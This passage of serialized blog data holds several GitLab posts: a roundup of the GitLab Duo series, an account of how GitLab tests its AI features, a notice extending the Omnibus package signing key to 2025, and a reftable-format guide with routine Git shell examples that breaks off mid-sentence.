}",{"title":5754,"description":5755,"authors":5759,"heroImage":4038,"date":5760,"body":5761,"category":791,"tags":5762},[1380],"2024-06-03","Generative AI marks a monumental shift in the software development industry, making it easier to develop, secure, and operate software. Our blog series, written by our product and engineering teams, gives you an inside look at how we create, test, and deploy the AI features you need integrated throughout the enterprise. Get to know new capabilities within GitLab Duo and how they will help DevSecOps teams deliver better results for customers.\n\n> Live demo! Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Register today](https://about.gitlab.com/seventeen/)!\n\n## 1. [How we validate and test AI models at scale](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n\n- Our blog series debuts with a behind-the-scenes look at how we evaluate LLMs, match them to use cases, and fine-tune them to produce better responses for users.\n\n## 2. [AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- We spotlight a new feature that provides detailed metrics, such as the Code Suggestions Usage Rate, to help understand the effectiveness of AI investments.\n\n## 3. [How we are dogfooding our AI features](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n\n- We share real-world examples of how we integrate AI throughout our software development lifecycle and how we use metrics to gauge their success.\n\n## 4. [Secure and thoroughly test AI-generated code](https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n\n- Learn step-by-step how to enhance AI-generated code reliability and security using GitLab Duo and GitLab Pages (includes code samples and prompts).\n\n## 5. [Blending AI and Root Cause Analysis to fix CI/CD pipelines](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)\n\n- Discover how we've infused Root Cause Analysis with AI to help remedy broken CI/CD pipelines, including example scenarios and take-away exercises.\n\n## 6. [Developing GitLab Duo: A roundup of recent Chat enhancements](https://about.gitlab.com/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements)\n- Discover the latest improvements to GitLab Duo Chat, including prompt cancellation and architectural upgrades. Learn how these updates streamline workflows and boost productivity.\n\n> Learn more about [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features for your DevSecOps workflow. Then start [a free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) to get the incredible benefits in your own organization! \n\n##  7. [Developing GitLab Duo: Use AI to remediate security vulnerabilities](https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities)\nThis tutorial shows how GitLab Duo Vulnerability Explanation and GitLab Duo Vulnerability Resolution, along with our other AI-powered features, can help to address vulnerabilities quickly.",[790,754,943,479],{"slug":5764,"featured":6,"template":678},"developing-gitlab-duo-series","content:en-us:blog:developing-gitlab-duo-series.yml","Developing Gitlab Duo Series","en-us/blog/developing-gitlab-duo-series.yml","en-us/blog/developing-gitlab-duo-series",{"_path":5770,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5771,"content":5777,"config":5783,"_id":5785,"_type":16,"title":5786,"_source":17,"_file":5787,"_stem":5788,"_extension":20},"/en-us/blog/inside-look-how-gitlabs-test-platform-team-validates-ai-features",{"title":5772,"description":5773,"ogTitle":5772,"ogDescription":5773,"noIndex":6,"ogImage":5774,"ogUrl":5775,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5775,"schema":5776},"Inside look: How GitLab's Test Platform team validates AI features","Learn how we continuously analyze AI feature performance, including testing latency worldwide, and get to know our new AI continuous analysis tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099033/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750099033422.png","https://about.gitlab.com/blog/inside-look-how-gitlabs-test-platform-team-validates-ai-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside look: How GitLab's Test Platform team validates AI features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Lapierre\"},{\"@type\":\"Person\",\"name\":\"Vincy Wilson\"}],\n        \"datePublished\": \"2024-06-03\",\n      }",{"title":5772,"description":5773,"authors":5778,"heroImage":5774,"date":5760,"body":5781,"category":791,"tags":5782},[5779,5780],"Mark Lapierre","Vincy Wilson","AI is increasingly becoming a centerpiece of software development - many companies are integrating it throughout their DevSecOps workflows to improve productivity and increase efficiency. Because of this now-critical role, AI features should be tested and analyzed on an ongoing basis. In this article, we take you behind the scenes to learn how [GitLab's Test Platform team](https://handbook.gitlab.com/handbook/engineering/infrastructure/test-platform/) does this for [GitLab Duo](https://about.gitlab.com/gitlab-duo/) features by conducting performance validation, functional readiness, and continuous analysis across GitLab versions. With this three-pronged approach, GitLab aims to ensure that GitLab Duo features are performing optimally for our customers.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## AI and testing\n\nAI's non-deterministic nature, where the same input can produce different outputs, makes ensuring a great user experience a challenge. So, when we integrated AI deep into the GitLab DevSecOps Platform, we had to adapt to our best practices to address this challenge. \n\nThe [Test Platform team's mission ](https://handbook.gitlab.com/handbook/engineering/infrastructure/test-platform/) is to help enable the successful development and deployment of high-quality software applications with continuous analysis and efficiency to help ensure customer satisfaction. The key to achieving this is by delivering tools that help increase standardization, repeatability, and test consistency. \n\nApplying this to GitLab Duo, our AI suite of tools to power DevSecOps workflows, means being able to continuously analyze its performance and identify opportunities for improvement. Our goal is to gain clear, actionable insights that will help us to enhance GitLab Duo's capabilities and, as a result, better meet our customers' needs. \n\n## The need for continuous analysis of AI\n\nTo continuously assess GitLab Duo, we needed a mechanism for analyzing feature performance across releases. Therefore, we created an AI continuous analysis tool to automate the collection and analysis of data to achieve this. \n\n![diagram of how the AI continuous analysis tool works](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099041/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099041503.png)\n\n\u003Ccenter>\u003Ci>How the AI continuous analysis tool works\u003C/i>\u003C/center>\n\n### Building the AI continuous analysis tool\n\nTo gain detailed, user-centric insights, we needed to gather data in the appropriate context – in this case, the integrated development environment (IDE), as it is where most of our users access GitLab Duo. We narrowed this down further by opting for the Visual Studio Code IDE, a popular choice within our community. Once the environment was chosen, we automated entering code prompts and recording the provided suggestions. The interactions with the IDE are handled by the [WebdriverIO VSCode service](https://github.com/webdriverio-community/wdio-vscode-service), and CI operations are handled through [GitLab CI/CD](https://docs.gitlab.com/ee/ci/). This automation significantly scaled up data collection and eliminated repetitive tasks for GitLab team members. To start, we have focused on measuring the performance of GitLab Duo Code Suggestions, but plan to expand to other GitLab AI features in the future.\n\n### Analyzing the data\n\nAt the core of our AI continuous analysis tool is a mechanism for collecting and analyzing code suggestions. This involves automatically entering code prompts, recording the suggestions provided, and logging timestamps of relevant events. We measure the time from when the tool provides an input until a suggestion is displayed in the UI. In addition, we record the logs created by the IDE, which report the time it took for each suggestion response to be received. With this data, we can compare the latency of suggestions in terms of how long it takes the backend AI service to send a response to the IDE, and how long it takes for the IDE to display the suggestion for the user. We then can compare latency and other metrics of GitLab Duo features across multiple releases. The GitLab platform has the ability to analyze [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) and [application security](https://docs.gitlab.com/ee/user/application_security/), so we leverage these capabilities to enable the AI continuous analysis tool to analyze the quality and security of the suggestions provided by GitLab Duo.\n\n### Improving AI-driven suggestions\n\nOnce the collected data is analyzed, the tool automatically generates a single report summarizing the results. The report includes key statistics (e.g., mean latency and/or latency at various percentiles), descriptions of notable differences or patterns, links to raw data, and CI/CD pipeline logs and artifacts. The tool also records a video of each prompt and suggestion, which allows us to review specific cases where differences are highlighted. This creates an opportunity for the UX researchers and development teams to take action on the insights gained, helping to improve the overall user experience and system performance.\n\nThe tool is at an early stage of development, but it's already helped us to improve the experience for GitLab Duo Code Suggestions users. Moving forward, we plan to expand our tool’s capabilities, incorporate more metrics and consume and provide input to our [Centralized Evaluation Framework](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/), which validates AI models, to enhance our continuous analysis further.\n\n## Performance validation\n\nAs AI has become integral to GitLab's offerings, optimizing the performance of AI-driven features is essential. Our performance tests aim to evaluate and monitor the performance of our GitLab components, which interact with AI service backends. While we can monitor the performance of these external services as part of our production environment's observability, we cannot control them. Thus, including third-party services in our performance testing would be expensive and yield limited benefits. Although third-party AI providers contribute to overall latency, the latency attributable to GitLab components is still important to check. We aim to detect changes that might lead to performance degradation by monitoring GitLab components. \n\n### Building AI performance validation test environment\n\nIn our AI test environments, the [AI Gateway](https://docs.gitlab.com/ee/architecture/blueprints/ai_gateway/#summary), which is a stand-alone service to give access to AI features to GitLab users, has been configured to return mocked responses, enabling us to test the performance of AI-powered features without interacting with third-party AI service providers. We conduct AI performance tests on [reference architecture environments of various sizes](https://docs.gitlab.com/ee/administration/reference_architectures/). Additionally, we evaluate new tests in their own isolated environment before they're added to the larger environments.\n\n### Testing multi-regional latency\n\nMulti-regional latency tests need to be run from various geolocations to validate that requests are being served from a suitable location close to the source of the request. We do this today with the use of the [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/gitlab-environment-toolkit). The toolkit provisions an environment in the identified region to test (note: both the AI Gateway and the provisioned environment are in the same region), then uses the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) to run tests to measure time to first byte (TTFB). TTFB is our way of measuring time to the first part of the response being rendered, which contributes to the perceived latency that a customer experiences. To account for this measurement, our tests have a check to help ensure that the [response itself isn't empty](https://gitlab.com/gitlab-org/quality/performance/-/blob/cee8bef023e590e6ca75828e49f5c7c596581e06/k6/tests/experimental/api_v4_code_suggestions_generation_streaming.js#L70). \n\nOur tests are expanding further to continue to measure perceived latency from a customer’s perspective. We have captured a set of baseline response times that indicate how a specific set of regions performed when the test environment was in a known good state. These baselines allow us to compare subsequent environment updates and other regions to this known state to evaluate the impact of changes. These baseline measurements can be updated after major updates to ensure they stay relevant in the future. \n\nNote: As of this article's publication date, we have AI Gateway deployments across the U.S., Europe, and Asia. To learn more, visit our [handbook page](https://handbook.gitlab.com/handbook/engineering/development/data-science/ai-powered/ai-framework/#-aigw-region-deployments).\n\n## Functionality\n\nTo help continuously enable customers to confidently leverage AI reliably, we must continuously work to ensure our AI features function as expected.\n\n### Unit and integration tests\n\nFeatures that leverage AI models still require rigorous automated tests, which help engineers develop new features and changes confidently. However, since AI features can involve integrating with third-party AI providers, we must be careful to stub any external API calls to help ensure our tests are fast and reliable.\n\nFor a comprehensive look at testing at GitLab, look at our [testing standards and style guidelines](https://docs.gitlab.com/ee/development/testing_guide/). \n\n### End-to-end tests \n\nEnd-to-end testing is a strategy for checking whether the application works as expected across the entire software stack and architecture. We've implemented it in two ways for GitLab Duo testing: using real AI-generated responses and mock-generated AI responses.\n\n![validating features - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099041/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099041504.png)\n\n\u003Ccenter>\u003Ci>End-to-end test workflow\u003C/i>\u003C/center>\n\n#### Using real AI-generated responses\n\nAlthough costly, end-to-end tests are important to help ensure the entire user experience functions as expected. Since AI models are non-deterministic, end-to-end test assertions for validating real AI-generated responses should be loose enough to help ensure the feature functions without relying on a response that may change. This might mean an assertion that checks for some response with no errors or for a response we are certain to receive.\n\nAI-driven functionality is not accessible only from within the GitLab application, so we must also consider user workflows for other applications that leverage these features. For example, to cover the use case of a developer requesting code suggestions in [IntelliJ IDEA](https://www.jetbrains.com/idea/) using the GitLab Duo plugin, we need to drive the IntelliJ application to simulate a user workflow. Similarly, to ensure that the GitLab Duo Chat experience is consistent in VS Code, we must drive the VS Code application and exercise the GitLab Workflow extension. Working to ensure these workflows are covered helps us maintain a consistently great developer experience across all GitLab products. \n\n#### Using mock AI-generated responses\n\nIn addition to end-to-end tests using real AI-generated responses, we run some end-to-end tests against test environments configured to return mock responses. This allows us to verify changes to GitLab code and components that don’t depend on responses generated by an AI model more frequently.\n\n> For a closer look at end-to-end testing, read our [end-to-end testing guide](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/). \n\n### Exploratory testing and dogfooding\n\nAI features are built by humans for humans. At GitLab, exploratory testing and dogfooding greatly benefit us. GitLab team members are passionate about what features get shipped, and insights from internal usage are invaluable in shaping the direction of AI features.\n\n[Exploratory testing](https://about.gitlab.com/topics/devops/devops-test-automation/#test-automation-stages) allows the team to creatively exercise features to help ensure edge case bugs are identified and resolved. Dogfooding encourages team members to use AI features in their daily workflows, which helps us identify realistic issues from realistic users. For a comprehensive look at how we dogfood AI features, look at [Developing GitLab Duo: How we are dogfooding our AI features](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/).\n\n## Get started with GitLab Duo\nHopefully this article gives you insight into how we are validating AI features at GitLab. We have integrated our team's process into our overall development as we iterate on GitLab Duo features. We encourage you to try GitLab Duo in your organization and reap the benefits of AI-powered workflows.\n\n> Start a [free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) today!\n\n_Members of the GitLab Test Platform team contributed to this article._\n",[790,754,479,676,942,1268],{"slug":5784,"featured":92,"template":678},"inside-look-how-gitlabs-test-platform-team-validates-ai-features","content:en-us:blog:inside-look-how-gitlabs-test-platform-team-validates-ai-features.yml","Inside Look How Gitlabs Test Platform Team Validates Ai Features","en-us/blog/inside-look-how-gitlabs-test-platform-team-validates-ai-features.yml","en-us/blog/inside-look-how-gitlabs-test-platform-team-validates-ai-features",{"_path":5790,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5791,"content":5796,"config":5802,"_id":5804,"_type":16,"title":5805,"_source":17,"_file":5806,"_stem":5807,"_extension":20},"/en-us/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2025",{"title":5792,"description":5793,"ogTitle":5792,"ogDescription":5793,"noIndex":6,"ogImage":3431,"ogUrl":5794,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5794,"schema":5795},"GitLab extends Omnibus package signing key expiration to 2025","Our GNU Privacy Guard (GPG) key will now expire on July 1, 2025. Here's what you need to know.","https://about.gitlab.com/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2025","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab extends Omnibus package signing key expiration to 2025\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Patterson\"}],\n        \"datePublished\": \"2024-05-31\",\n      }",{"title":5792,"description":5793,"authors":5797,"heroImage":3431,"date":5799,"body":5800,"category":834,"tags":5801},[5798],"Andrew Patterson","2024-05-31","___Note: The Omnibus package signing key is separate from the Access Token Expiry affecting users of GitLab 16.0 and above. For more information about Access Token Expiry, please see [our blog on the topic](https://about.gitlab.com/blog/access-token-lifetime-limits/).___\n\nGitLab uses a GNU Privacy Guard (GPG) key to sign all Omnibus packages created within the CI pipelines to ensure that the packages have not been tampered with. This key is separate from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. The Omnibus package signing key, which is set to expire on July 1, 2024, will be extended to expire on July 1, 2025.\n\n## Why are we extending the deadline?\n\nThe Omnibus package signing key's expiration is extended each year to comply with GitLab security policies and to limit the exposure should the key become compromised. The key's expiration is extended instead of rotating to a new key to be less disruptive for users who do verify package integrity checks prior to installing the package.\n\n## What do I need to do?\n\nThe only action that needs to be taken is to update your copy of the package signing key _if_ you validate the signatures on the Omnibus packages that GitLab distributes.\n\nThe package signing key is not the key that signs the repository metadata used by the OS package managers like `apt` or `yum`. Unless you are specifically verifying the package signatures or have configured your package manager to verify the package signatures, there is no action needed on your part to continue installing Omnibus packages.\n\nMore information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures) is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for `support@gitlab.com` or using the key ID of\n`DBEF 8977 4DDB 9EB3 7D9F  C3A0 3CFC F9BA F27E AB47.`\n\nAlternatively, you could download it directly from packages.gitlab.com using the URL: [https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-3D645A26AB9FBD22.pub.gpg](https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-3D645A26AB9FBD22.pub.gpg).\n\n## What do I do if I still have problems?\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).\n",[695,736,674],{"slug":5803,"featured":6,"template":678},"gitlab-extends-omnibus-package-signing-key-expiration-to-2025","content:en-us:blog:gitlab-extends-omnibus-package-signing-key-expiration-to-2025.yml","Gitlab Extends Omnibus Package Signing Key Expiration To 2025","en-us/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2025.yml","en-us/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2025",{"_path":5809,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5810,"content":5815,"config":5820,"_id":5822,"_type":16,"title":5823,"_source":17,"_file":5824,"_stem":5825,"_extension":20},"/en-us/blog/a-beginners-guide-to-the-git-reftable-format",{"title":5811,"description":5812,"ogTitle":5811,"ogDescription":5812,"noIndex":6,"ogImage":4156,"ogUrl":5813,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5813,"schema":5814},"A beginner's guide to the Git reftable format","In Git 2.45.0, GitLab upstreamed the reftable backend to Git, which completely changes how references are stored. Get an in-depth look at the inner workings of this new format.","https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A beginner's guide to the Git reftable format\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-05-30\",\n      }",{"title":5811,"description":5812,"authors":5816,"heroImage":4156,"date":5817,"body":5818,"category":813,"tags":5819},[1817],"2024-05-30","Until recently, the \"files\" format was the only way for Git to store references. With the [release of Git 2.45.0](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/), Git can now store references in a \"reftable\" format. This new format is a binary format that is quite a bit more complex, but that complexity allows it to address several shortcomings of the \"files\" format. The design goals for the \"reftable\" format include:\n\n- Make the lookup of a single reference and iteration through ranges of references as efficient and fast as possible.\n- Support for consistent reads of references so that Git never reads an in-between state when an update to multiple references has been applied only partially.\n- Support for atomic writes such that updating multiple references can be implemented as an all-or-nothing operation.\n- Efficient storage of both refs and the reflog.\n\nIn this article, we will go under the hood of the \"reftable\" format to see exactly how it works.\n\n## How Git stores references\n\nBefore we dive into the details of the \"reftable\" format, let's quickly recap how Git has historically stored references. If you are already familiar with this, you can skip this section.\n\nA Git repository keeps track of two important data structures:\n\n- [Objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects), which contain the actual data of your repository. This includes commits, the directory tree structure, and the blobs that contain your source code. Objects point to each other, forming an object graph. Furthermore, each object has an object ID that uniquely identifies the object.\n\n- References, such as branches and tags, which are pointers into the object graph so that you can give objects names that are easier to remember and keep track of different tracks of your development history. For example, a repository may contain a `main` branch, which is a reference named `refs/heads/main` that points to a specific commit.\n\nReferences are stored in the reference database. Until Git 2.45.0, there was only the \"files\" database format. In this format, every reference is stored as a normal file that contains either one of the following:\n\n- A regular reference that contains the object ID of the commit it points to.\n- A symbolic reference that contains the name of another reference, similar to how a symbolic link points to another file.\n\nAt regular intervals, these references get packed into a single `packed-refs` file to make lookups more efficient.\n\nThe following examples should give an idea of how the \"files\" format operates:\n\n```shell\n$ git init .\n$ git commit --allow-empty --message \"Initial commit\"\n[main (root-commit) 6917c17] Initial commit\n\n# HEAD is a symbolic reference pointing to refs/heads/main.\n$ cat .git/HEAD\nref: refs/heads/main\n\n# refs/heads/main is a regular reference pointing to a commit.\n$ cat .git/refs/heads/main\n6917c178cfc3c50215a82cf959204e9934af24c8\n\n# git-pack-refs(1) packs these references into the packed-refs file.\n$ git pack-refs --all\n$ cat .git/packed-refs\n# pack-refs with: peeled fully-peeled sorted\n6917c178cfc3c50215a82cf959204e9934af24c8 refs/heads/main\n```\n\n## High-level structure of reftables\n\nAssuming that you've got Git 2.45.0 or newer installed, you can create a repository with the \"reftable\" format by using the `--ref-format=reftable` switch:\n\n```shell\n$ git init --ref-format=reftable .\nInitialized empty Git repository in /tmp/repo/.git/\n$ git rev-parse --show-ref-format\nreftable\n\n# Irrelevant files have been removed for ease of understanding.\n$ tree .git\n.git\n├── config\n├── HEAD\n├── index\n├── objects\n├── refs\n│   └── heads\n└── reftable\n\t├── 0x000000000001-0x000000000002-40a482a9.ref\n\t└── tables.list\n\n4 directories, 6 files\n```\n\nFirst, looking at the repository configuration, you will see it has an `extension.refstorage` key:\n\n```shell\n$ cat .git/config\n[core]\n    repositoryformatversion = 1\n    filemode = true\n    bare = false\n    logallrefupdates = true\n[extensions]\n    refstorage = reftable\n```\n\nThis configuration indicates to Git that the repository has been initialized with the \"reftable\" format and tells Git to use the \"reftable\" backend to access it.\n\nWeirdly enough, the repository still has a few files that look as if the \"files\" backend was in use:\n\n- `HEAD` would usually be a symbolic reference pointing to your currently checked-out branch. While it is not used by the \"reftable\" backend, it is required for Git clients to detect the directory as a Git repository. Therefore, when using the \"reftable\" format, `HEAD` is a stub with contents `ref: refs/heads/.invalid`.\n\n- `refs/heads` is a file with contents `this repository uses the reftable format`. Git clients that do not know about the \"reftable\" format would usually expect this path to be a directory. Consequently, creating this path as a file intentionally causes such older Git clients to fail if they tried to access the repository with the \"files\" backend.\n\nThe actual references are stored in the `reftable/` directory:\n\n```shell\n$ tree .git/reftable\n.git/reftable/\n├── 0x000000000001-0x000000000001-794bd722.ref\n└── tables.list\n\n$ cat .git/reftable/tables.list\n0x000000000001-0x000000000001-794bd722.ref\n```\n\nThere are two files here:\n\n- `0x000000000001-0x000000000001-794bd722.ref` is a table containing references and the reflog data in a binary format.\n\n- `tables.list` is, well, a list of tables. In the current state of the repository, the file contains a single line, which is the name of the table. This file tracks the current set of active tables in the \"reftable\" database and is updated whenever new tables get added to the repository.\n\nUpdating a reference creates a new table:\n\n```shell\n$ git commit --allow-empty --message \"Initial commit\"\n[main (root-commit) 1472a58] Initial commit\n\n$ tree .git/reftable\n.git/reftable/\n├── 0x000000000001-0x000000000002-eb87d12b.ref\n└── tables.list\n\n$ cat .git/reftable/tables.list\n0x000000000001-0x000000000002-eb87d12b.ref\n```\n\nAs you can see, the previous table has been replaced with a new one. Furthermore, the `tables.list` file has been updated to contain the new table.\n\n## The structure of a table\n\nAs mentioned earlier, the actual data of the reference database is contained in tables. Roughly speaking, a table is split up into multiple sections:\n\n- The \"header\" contains metadata about the table. Along with some other information, this includes the version of the format, the block size, and the hash function used by the repository (for example, SHA1 or SHA256).\n- The \"ref\" section contains your references. These records have a key that equals the reference name and point to either an object ID for regular references, or to another reference for symbolic references.\n- The \"obj\" section contains reverse mapping from object IDs to the references that point to those object IDs. These allow Git to efficiently look up which references point to a given object ID.\n- The \"log\" section contains your reflog entries. These records have a key that equals the reference name plus an index that represents the number of the log entry. Furthermore, they contain the old and new object IDs as well as the message for that reflog entry.\n- The \"footer\" contains offsets to the various sections.\n\n![long table with all the reftable sections](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_1_-_Reftable_overview.svg)\n\nEach of the section types are structured in a similar manner. Sections contain a set of records that are sorted by each record's key. For example, when you have two ref records `refs/heads/aaaaa` and `refs/heads/bbb`, you have two ref records with these reference names as their respective keys, and `refs/heads/aaaaa` would come before `refs/heads/bbb`.\n\nFurthermore, each section is divided into blocks of a fixed length. This block length is encoded in the header and serves two purposes:\n\n- Given the start of the section as well as the block size, the reader implicitly knows where each of the blocks starts. This allows Git to easily seek into the middle of a section without reading preceding blocks, which enables binary searches over blocks to speed up the lookup of records.\n- It ensures that the reader knows how much data to read from the disk at a time. Consequently, the block size is by default set to 4KiB, which is the most common sector size for hard disks. The maximum block size is 16MB.\n\nWhen we peek into, for example, a \"ref\" section, it looks roughly like the following graphic. Note how its records are ordered lexicographically inside the blocks, but also across the blocks.\n\n![reference block uncompressed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_2_-_Ref_block_uncompressed.svg)\n\nEquipped with the current information, we can locate a record by using the following steps:\n\n1. Perform a binary search over the blocks by looking at the keys of their respective first records, identifying the block that must contain our record.\n\n2. Perform a linear search over the records in that block.\n\nBoth of these steps are still somewhat inefficient. If we have many blocks we may have to read logarithmically many of them in our binary search to find the desired one. And when blocks contain many records, we potentially have to read all of them during the linear search.\n\nThe \"reftable\" format has additional built-in mechanisms to address these performance concerns. We will touch on these over the next few sections.\n\n### Prefix compression\n\nAs you may have noticed, all of the record keys share the same prefix `refs/`. This is a common thing in Git:\n\n- All branches start with `refs/heads/`.\n- All tags start with `refs/tags/`.\n\nTherefore, we expect that subsequent records will most likely share a significant prefix of their key. This is a good opportunity to save some precious disk space. Because we know that most keys will share a common prefix, it makes sense to optimize for this.\n\nThe optimization uses prefix compression. Every record encodes a prefix length that tells the reader how many bytes to reuse from the key of the preceding record. If we have two records, `refs/heads/a` and `refs/heads/b`, the latter can be encoded by specifying a prefix length of 11 and then only storing the suffix `b`. The reader will then take the first 11 bytes of `refs/heads/a`, which is `refs/heads/`, and append the suffix `b` to it.\n\n![prefix compression](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_3_-_Ref_block_prefix_compression.svg)\n\n### Restart points\n\nAs explained earlier, the best way to search for a reference in a block with our current understanding of the \"reftable\" format is to do a linear search. This is because records do not have a fixed length, so it is impossible for us to tell where records would start without scanning through the block from the beginning. Also, even if records were of fixed length, we would not be able to seek into the middle of a block because the prefix compression also requires us to read preceding records.\n\nDoing a linear search would be quite inefficient because blocks may contain hundreds or even thousands of records. To address this issue, the \"reftable\" format encodes so-called restart points into every block. Restart points are uncompressed records where the prefix compression is reset. Consequently, records at restart points always contain their full key and it becomes possible to directly seek to and read the record without having to read preceding records. These restart points are listed in the footer of each block.\n\nEquipped with this information, we can avoid performing a linear search over the block. Instead, we can now do a binary search over the restart points where we search for the first restart point with a key larger than the sought-after key. From there, it follows that the desired record must be located in the section spanning from the _preceding_ restart point to the identified one.\n\nThus, our initial procedure to look up a record (binary search for the block, linear search for the record) is now:\n\n1. Perform a binary search over the blocks, identifying the block that must contain our record.\n\n2. Perform a binary search over the restart points, identifying the sub-section of the block that must contain our record.\n\n3. Perform a linear search over the records in that sub-section.\n\n![Linear search for a record](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_4_-_Restart_points.svg)\n\n### Indices\n\nWhile the search for records inside a block is now reasonably efficient, it's still inefficient to locate the block itself. A binary search may be reasonably performant when you have a couple of blocks, but repositories with millions of references may have hundreds or even thousands of blocks. Without any additional data structure, this would cause logarithmically many disk seeks on average.\n\nTo avoid this, every section may be followed by an index section that provides an efficient way to look up a block. Each index record holds the following information:\n\n- The location of the block that it is indexing.\n- The key of the last record of the block that it is indexing.\n\nWith three or less blocks, a binary search will always require, at most, two disk reads to find the desired target block. This is the same number of reads we would have to do with an index: one to read the index itself and one to read the desired block. Consequently, indices are only written when they would actually save some reads, which is the case with four or more indexed blocks.\n\nNow the question is: What happens when the index itself becomes so large that it spans over multiple blocks? You might have guessed it: We write another index that indexes the index. These multi-level indices really only become necessary once you have repositories with hundreds of thousands of references.\n\nEquipped with these indices, we can now make the procedure to look up records even more efficient:\n1. Determine whether there is an index by looking at the footer of the table.\n\t- If there is one, perform a binary search over the index to find the desired block. This block may point into an index block itself, in which case we need to repeat this step until we hit a record of the desired type.\n\t- Otherwise, perform a binary search over the blocks as we did before.\n2. Perform a binary search over the restart points, identifying the sub-section of the block that must contain our record.\n3. Perform a linear search over the records in that sub-section.\n\n## Multiple tables\n\nUp to this point, we have only discussed how to read a _single_ table. But as the name `tables.list` indicates, you can actually have a list of tables in your \"reftable\" database.\n\nEvery time you update a reference in your repository, a new table is written and appended to `tables.list`. Thus, you will eventually end up with multiple tables:\n\n```shell\n$ tree .git/reftable/\n.git/reftable/\n├── 0x000000000001-0x000000000007-8dcd8a77.ref\n├── 0x000000000008-0x000000000008-30e0f6f6.ref\n└── tables.list\n\n$ cat .git/reftable/tables.list\n0x000000000001-0x000000000007-8dcd8a77.ref\n0x000000000008-0x000000000008-30e0f6f6.ref\n```\n\nReading the actual state of a repository requires us to merge these multiple tables into a single virtual table.\n\nYou might be wondering: If a table is written for each reference update and the same reference is updated multiple times, how does the \"reftable\" format know the most up-to-date value of a given reference? Intuitively, one could assume the value would be the one from the newest table containing the reference.\n\nIn fact, every single record has a so-called update index that encodes the \"priority\" of a record. For example, if two ref records with the same name exist, then the one with the higher update index overrides the one with the lower update index.\n\nThese update indices are visible in the file structure above. The long hex strings (for example `0x000000000001`) are the update indices, where the left-hand side of the table name is the minimum update index contained in the table and the right-hand is the maximum update index.\n\nMerging the tables then happens via a [priority queue](https://en.wikipedia.org/wiki/Priority_queue) that is ordered by the key of the ref record as well as its update index. Assuming we want to scan through all ref records, we would:\n\n1. For every table, add its first record to the priority queue.\n\n![Adding first record to the priority queue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_5_-_Priority_queue_1.svg)\n\n2. Yield the head of the priority queue. Because the queue is ordered by update index, it must be the most up-to-date version. Add the next item from that table to the priority queue.\n\n![Yielding the head of the priority queue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_6_-_Priority_queue_2.svg)\n\n3. Drop all records from the queue that have the same name. These records are shadowed, which means that they will not be shown. For each table for which we 